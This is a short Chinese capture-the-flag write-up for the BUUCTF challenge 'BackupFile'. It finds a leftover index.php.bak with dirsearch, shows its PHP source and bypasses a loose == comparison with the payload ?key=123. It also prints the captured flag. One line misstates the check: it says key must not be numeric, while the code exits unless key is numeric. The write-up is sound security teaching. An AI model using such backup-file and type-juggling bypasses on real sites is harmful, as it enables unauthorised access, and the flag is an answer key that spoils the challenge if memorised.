BUUCTF WEB [ACTF2020 新生赛]BackupFile

原创

Y1Daa 于 2022-04-17 15:27:11 发布 120 收藏

分类专栏： BUUCTF 文章标签： web安全

BUUCTF WEB [ACTF2020 新生赛]BackupFile

使用dirsearch扫描后台文件，发现 `index.php.bak`

下载后直接打开

```php
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
```

可以发现 `index.php` 接收了一个名为 `key` 的变量，并对其进行了过滤。尝试绕过

```php
if(!is_numeric($key)) {
 exit("Just num!");
}
```

这里要求 `key` 不能为数字

```php
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
    echo $flag;
}
```

这里将 `key` 强制转换为数字后与 `str` 进行**弱类型比较**

注意：PHP的 `==` （弱类型比较）在进行数字和字符串比较时，会先将字符串转换成数字在进行比较

即，将 `str` 转换为 `123` 后再与 `key` 进行比较

所以我们可以构造 `payload`

```
?key=123
```

得到flag

```
flag{3a3f257d-d3da-40c5-89a4-481c05c94f51}
```